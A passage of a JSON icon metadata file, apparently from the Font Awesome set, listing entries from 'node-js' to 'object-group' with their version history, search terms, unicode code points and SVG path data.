219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"
      }
    },
    "free": ["brands"]
  },
  "node-js": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d3",
    "label": "Node.js JS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"
      }
    },
    "free": ["brands"]
  },
  "not-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53e"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f53e",
    "label": "Not Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M369.8 37.4c14.7 9.8 18.7 29.7 8.9 44.4L337.1 144H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H294.5l-64 96H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H187.8l-65.2 97.7c-9.8 14.7-29.7 18.7-44.4 8.9s-18.7-29.7-8.9-44.4L110.9 368H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H153.5l64-96H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H260.2l65.2-97.7c9.8-14.7 29.7-18.7 44.4-8.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M369.8 37.4c14.7 9.8 18.7 29.7 8.9 44.4L337.1 144H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H294.5l-64 96H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H187.8l-65.2 97.7c-9.8 14.7-29.7 18.7-44.4 8.9s-18.7-29.7-8.9-44.4L110.9 368H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H153.5l64-96H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H260.2l65.2-97.7c9.8-14.7 29.7-18.7 44.4-8.9z"
      }
    },
    "free": ["solid"]
  },
  "notdef": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["close", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e1fe",
    "label": "Notdef",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 390.3L153.5 256 64 121.7V390.3zM102.5 448H281.5L192 313.7 102.5 448zm128-192L320 390.3V121.7L230.5 256zM281.5 64H102.5L192 198.3 281.5 64zM0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 390.3L153.5 256 64 121.7V390.3zM102.5 448H281.5L192 313.7 102.5 448zm128-192L320 390.3V121.7L230.5 256zM281.5 64H102.5L192 198.3 281.5 64zM0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z"
      }
    },
    "free": ["solid"]
  },
  "note-sticky": {
    "aliases": {
      "names": ["sticky-note"],
      "unicodes": {
        "composite": ["f24a"],
        "secondary": ["10f249"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["message", "note", "paper", "reminder", "sticker"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f249",
    "label": "Note Sticky",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H288V368c0-26.5 21.5-48 48-48H448V96c0-35.3-28.7-64-64-64H64zM448 352H402.7 336c-8.8 0-16 7.2-16 16v66.7V480l32-32 64-64 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H288V368c0-26.5 21.5-48 48-48H448V96c0-35.3-28.7-64-64-64H64zM448 352H402.7 336c-8.8 0-16 7.2-16 16v66.7V480l32-32 64-64 32-32z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H288V352c0-17.7 14.3-32 32-32h80V96c0-8.8-7.2-16-16-16H64zM288 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V320v5.5c0 17-6.7 33.3-18.7 45.3l-90.5 90.5c-12 12-28.3 18.7-45.3 18.7H288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H288V352c0-17.7 14.3-32 32-32h80V96c0-8.8-7.2-16-16-16H64zM288 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V320v5.5c0 17-6.7 33.3-18.7 45.3l-90.5 90.5c-12 12-28.3 18.7-45.3 18.7H288z"
      }
    },
    "free": ["regular", "solid"]
  },
  "notes-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f481"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clipboard", "doctor", "ehr", "health", "history", "records"]
    },
    "styles": ["solid"],
    "unicode": "f481",
    "label": "Notes Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 352V96c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V293.5c0 17-6.7 33.3-18.7 45.3l-58.5 58.5c-12 12-28.3 18.7-45.3 18.7H160c-35.3 0-64-28.7-64-64zM272 128c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V256h48c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H320V144c0-8.8-7.2-16-16-16H272zm24 336c13.3 0 24 10.7 24 24s-10.7 24-24 24H136C60.9 512 0 451.1 0 376V152c0-13.3 10.7-24 24-24s24 10.7 24 24l0 224c0 48.6 39.4 88 88 88H296z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 352V96c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V293.5c0 17-6.7 33.3-18.7 45.3l-58.5 58.5c-12 12-28.3 18.7-45.3 18.7H160c-35.3 0-64-28.7-64-64zM272 128c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V256h48c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H320V144c0-8.8-7.2-16-16-16H272zm24 336c13.3 0 24 10.7 24 24s-10.7 24-24 24H136C60.9 512 0 451.1 0 376V152c0-13.3 10.7-24 24-24s24 10.7 24 24l0 224c0 48.6 39.4 88 88 88H296z"
      }
    },
    "free": ["solid"]
  },
  "npm": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d4",
    "label": "npm",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"
      }
    },
    "free": ["brands"]
  },
  "ns8": {
    "changes": ["5.0.0", "5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d5",
    "label": "NS8",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"
      }
    },
    "free": ["brands"]
  },
  "nutritionix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d6",
    "label": "Nutritionix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z\"/></svg>",
        "viewBox": [0, 0, 400, 512],
        "width": 400,
        "height": 512,
        "path": "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"
      }
    },
    "free": ["brands"]
  },
  "o": {
    "aliases": {
      "unicodes": {
        "composite": ["6f"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter O", "Latin Small Letter O", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4f",
    "label": "O",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 96a160 160 0 1 0 0 320 160 160 0 1 0 0-320zM448 256A224 224 0 1 1 0 256a224 224 0 1 1 448 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 96a160 160 0 1 0 0 320 160 160 0 1 0 0-320zM448 256A224 224 0 1 1 0 256a224 224 0 1 1 448 0z"
      }
    },
    "free": ["solid"]
  },
  "object-group": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f247"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["combine", "copy", "design", "merge", "select"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f247",
    "label": "Object Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H456.6C467.6 12.9 488.3 0 512 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM456.6 96H119.4c-5.6 9.7-13.7 17.8-23.4 23.4V392.6c9.7 5.6 17.8 13.7 23.4 23.4H456.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4zM128 160c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H456.6C467.6 12.9 488.3 0 512 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM456.6 96H119.4c-5.6 9.7-13.7 17.8-23.4 23.4V392.6c9.7 5.6 17.8 13.7 23.4 23.4H456.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4zM128 160c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 115.8C38.2 107 32 94.2 32 80c0-26.5 21.5-48 48-48c14.2 0 27 6.2 35.8 16H460.2c8.8-9.8 21.6-16 35.8-16c26.5 0 48 21.5 48 48c0 14.2-6.2 27-16 35.8V396.2c9.8 8.8 16 21.6 16 35.8c0 26.5-21.5 48-48 48c-14.2 0-27-6.2-35.8-16H115.8c-8.8 9.8-21.6 16-35.8 16c-26.5 0-48-21.5-48-48c0-14.2 6.2-27 16-35.8V115.8zM125.3 96c-4.8 13.6-15.6 24.4-29.3 29.3V386.7c13.6 4.8 24.4 15.6 29.3 29.3H450.7c4.8-13.6 15.6-24.4 29.3-29.3V125.3c-13.6-4.8-24.4-15.6-29.3-29.3H125.3zm2.7 64c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 115.8C38.2 107 32 94.2 32 80c0-26.5 21.5-48 48-48c14.2 0 27 6.2 35.8 16H460.2c8.8-9.8 21.6-16 35.8-16c26.5 0 48 21.5 48 48c0 14.2-6.2 27-16 35.8V396.2c9.8 8.8 16 21.6 16 35.8c0 26.5-21.5 48-48 48c-14.2 0-27-6.2-35.8-16H115.8c-8.8 9.8-21.6 16-35.8 16c-26.5 0-48-21.5-48-48c0-14.2 6.2-27 16-35.8V115.8zM125.3 96c-4.8 13.6-15.6 24.4-29.3 29.3V386.7c13.6 4.8 24.4 15.6 29.3 29.3H450.7c4.8-13.6 15.6-24.4 29.3-29.3V125.3c-13.6-4.8-24.4-15.6-29.3-29.3H125.3zm2.7 64c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z"
      }
    },
    "free": ["regular", "solid"]
  },
  "object-ungroup": {
    "aliases": {
      "unicodes": {
